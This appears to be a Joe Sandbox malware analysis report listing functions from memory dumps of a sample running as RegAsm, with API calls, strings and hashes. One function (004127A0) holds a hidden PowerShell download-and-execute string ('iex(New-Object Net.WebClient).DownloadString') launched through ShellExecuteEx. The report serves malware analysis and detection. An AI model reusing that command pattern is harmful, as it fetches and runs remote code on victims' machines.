Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: ce10cc1dd921ed3bc5840e9cd7dc3019cf91e8afae5866c9742b81ca28c76559
Instruction ID: 0ec042b2727ecb63322c9ca7267366c835aeef8fb7fb2dc58cee31f2a85540f0
Opcode Fuzzy Hash: ce10cc1dd921ed3bc5840e9cd7dc3019cf91e8afae5866c9742b81ca28c76559
Instruction Fuzzy Hash: 6D010431A826219BD720AB6A9C857EEB760BB04714F41811BE94463391CB3C68D2CFDE

Function 6C89D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C86EB57,?,?,?,?,?,?,?,?,?), ref: 6C89D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C86EB57,?), ref: 6C89D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C86EB57,?), ref: 6C89D673
free.MOZGLUE(?), ref: 6C89D888

Strings

|Enabled, xrefs: 6C89D81E

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 18db1087d664ef1471643b55395b9e981a7933ae6fcfc2741534d8305ffeaad4
Instruction ID: 2338e054c69f5f203ae5dd266ad5d1aa8e385cfed5b5d539b43a25520033826b
Opcode Fuzzy Hash: 18db1087d664ef1471643b55395b9e981a7933ae6fcfc2741534d8305ffeaad4
Instruction Fuzzy Hash: 7FA1E570A003189FDB21CF6DC5907AEBBF1AF4A318F14886DD8896B742D731A845CBE1

Function 6C96AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C96AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C96AF5C
misuse, xrefs: 6C96AFCE
%s at line %d of [%.10s], xrefs: 6C96AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C96AFC4

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 4008974fa11b4dab5e2b6567bee0840e48cb9d82c44b3f700093d2cd68252ca2
Instruction ID: 488bed717550f0839e3aa9880b6ee187e344b9726705e128e52166faf63b3284
Opcode Fuzzy Hash: 4008974fa11b4dab5e2b6567bee0840e48cb9d82c44b3f700093d2cd68252ca2
Instruction Fuzzy Hash: AB910875B012258FEB04CF5AC850BAEBBF5BF45314F194468E865ABB91D734ED01CB60

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction ID: c22392a9749b90d4c1c61cacca4cad5c9228f9bc2143d6a913daecdb3f55fa98
Opcode Fuzzy Hash: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction Fuzzy Hash: F171D974A00109DFDB04CF48C484BAAB7B2FF88315F158179E84AAF395C739AA91CF95

Function 6C89F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C89F480

Part of subcall function 6C86F100: LoadLibraryW.KERNEL32(shell32,?,6C8DD020), ref: 6C86F122
Part of subcall function 6C86F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C86F132

CloseHandle.KERNEL32(00000000), ref: 6C89F555

Part of subcall function 6C8714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C871248,6C871248,?), ref: 6C8714C9
Part of subcall function 6C8714B0: memcpy.VCRUNTIME140(?,6C871248,00000000,?,6C871248,?), ref: 6C8714EF

Part of subcall function 6C86EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C86EEE3

CreateFileW.KERNEL32 ref: 6C89F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C89F523

Strings

\oleacc.dll, xrefs: 6C89F4CB

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: a446265fdbff198cbd4f0ab20b521f702cde05d3525f7b346f9c8a8198cbfd68
Instruction ID: 5569035356e13d30673ea83cab5032b80c62027a95cba78e977574ccb7d29826
Opcode Fuzzy Hash: a446265fdbff198cbd4f0ab20b521f702cde05d3525f7b346f9c8a8198cbfd68
Instruction Fuzzy Hash: 5F4181706087109FE734DF6DCA84A9BB7F4AF99318F504E28F59583650EB30E949CB92

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00F828C8), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,00F72E38), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,00F81DC0), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: d4225e77e553b79aeccaf8fe61799e209a6001ae4b03243f3eca2914438b53e4
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: d4225e77e553b79aeccaf8fe61799e209a6001ae4b03243f3eca2914438b53e4
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 004127A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 00412895

Strings

')", xrefs: 004127C3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412814
<, xrefs: 00412849
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004127D4

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: b9e5163be950e2e45682f6ac200fb0d902bdae7e536cdbb62e7e9a09a965b0a2
Instruction ID: d376e5d026b6a94438bc85289873f11b5c9f1c1e596dc166cf9a62b6ff5812d0
Opcode Fuzzy Hash: b9e5163be950e2e45682f6ac200fb0d902bdae7e536cdbb62e7e9a09a965b0a2
Instruction Fuzzy Hash: 0E412F70D11208AACB14FFA1D896BDDB778AF10318F40411EF41667192EF782AD9CF5A

Function 6C8C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8C7526
__Init_thread_footer.LIBCMT ref: 6C8C7566
__Init_thread_footer.LIBCMT ref: 6C8C7597

Strings

kernel32.dll, xrefs: 6C8C7557
UnmapViewOfFile2, xrefs: 6C8C7552

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e963b7fdde84fd379c60e1ba4c6c1f71eaa6d9e0d9a6abf19a57c88b3177de32
Instruction ID: 21ed4b31cf7a8059c4e83af99997b3317972c030d5d44e85479146e98b6a4842
Opcode Fuzzy Hash: e963b7fdde84fd379c60e1ba4c6c1f71eaa6d9e0d9a6abf19a57c88b3177de32
Instruction Fuzzy Hash: FC21D371B01541ABDA348BEEEE14E9A33B5EB9B328F008D38D50547B40C734E841C7D6

Function 6CA5A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C927915,?,?), ref: 6CA5A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C927915,?,?), ref: 6CA5A8A6

Strings

database corruption, xrefs: 6CA5A89B
%s at line %d of [%.10s], xrefs: 6CA5A8A0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA5A891

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 650348b8d928c858751ea0c96ded5a4e413b21a75eaeb47d370b7db2017cc7ab
Instruction ID: a373b4c2e0f0c89dd2c77f667626c76156be68fe8cd7c73841d5fe0ab9658d71
Opcode Fuzzy Hash: 650348b8d928c858751ea0c96ded5a4e413b21a75eaeb47d370b7db2017cc7ab
Instruction Fuzzy Hash: 2D112975B00214AFDB048F21DC41AAAB7A6FF59314F448438FD094BB41EB34ED96C7A2

Function 6C970DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C970BDE), ref: 6C970DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C970BDE), ref: 6C970DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C970BDE), ref: 6C970DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C970BDE), ref: 6C970E32

Strings

%s incr => %d (find lib), xrefs: 6C970E2D

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: efbe4d4123176f4003f4fc2c7609610502a65511af262b6f7df3ce766bf99518
Instruction ID: 8aa33900553f931ecb420076677adb5fa29933fe12c5ef93f3d174dea1980ecf
Opcode Fuzzy Hash: efbe4d4123176f4003f4fc2c7609610502a65511af262b6f7df3ce766bf99518
Instruction Fuzzy Hash: 9601F1727013109FE7209F248C46E1773ECEF45A08B15486DE909D3B42E662FC1887E1

Function 6C8CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C8CC0E9), ref: 6C8CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C8CC437
FreeLibrary.KERNEL32(?,6C8CC0E9), ref: 6C8CC44C

Strings

ntdll.dll, xrefs: 6C8CC413
NtQueryVirtualMemory, xrefs: 6C8CC431

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 5eaeef0123177f9b99f5216f321f209e342d0246254c52e681c50c96b974208d
Instruction ID: 99489207658f04b100df1b9e446e55cdb5c6b4696c498c976726c66cfbfb0f7c
Opcode Fuzzy Hash: 5eaeef0123177f9b99f5216f321f209e342d0246254c52e681c50c96b974208d
Instruction Fuzzy Hash: 69E09A706013229BDBB06B719A087127BF8A75E20CF009536AE04D1691DB74D400DB95

Function 6C8C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C8C748B,?), ref: 6C8C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C8C75D7
FreeLibrary.KERNEL32(?,6C8C748B,?), ref: 6C8C75EC

Strings

ntdll.dll, xrefs: 6C8C75B3
RtlNtStatusToDosError, xrefs: 6C8C75D1

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ecdcef8780fb0f4dd267549e2ae9912a8fd6c9ee3145499d94531a75a558ae3
Instruction ID: 1c0e528f2f3b3b2d9b12ea909107fc3de4ec8e86c893c8616084c9a076cb4b39
Opcode Fuzzy Hash: 0ecdcef8780fb0f4dd267549e2ae9912a8fd6c9ee3145499d94531a75a558ae3
Instruction Fuzzy Hash: 59E01270202342ABEBB06BA2ED887153AF8EB5F25CF008835A904C2600EBB0D101CF84

Function 6C864DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C864E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C864E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C864EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C864F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C864F1E

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 0b70abd846cb75ce8575765413849265d92f86663781264856fe175f2864098c
Instruction ID: 1b94261a8362ea775c7ff9a13436e3bf28e1ad1e54c6f270f91971ca3d6a85cb
Opcode Fuzzy Hash: 0b70abd846cb75ce8575765413849265d92f86663781264856fe175f2864098c
Instruction Fuzzy Hash: D141ED716087059FC725CF6AC99095BB7E4BFCA354F108E2DF86687A41DB30E918CB91

Function 004108A0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004108C8
strtok_s.MSVCRT ref: 00410A0D

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
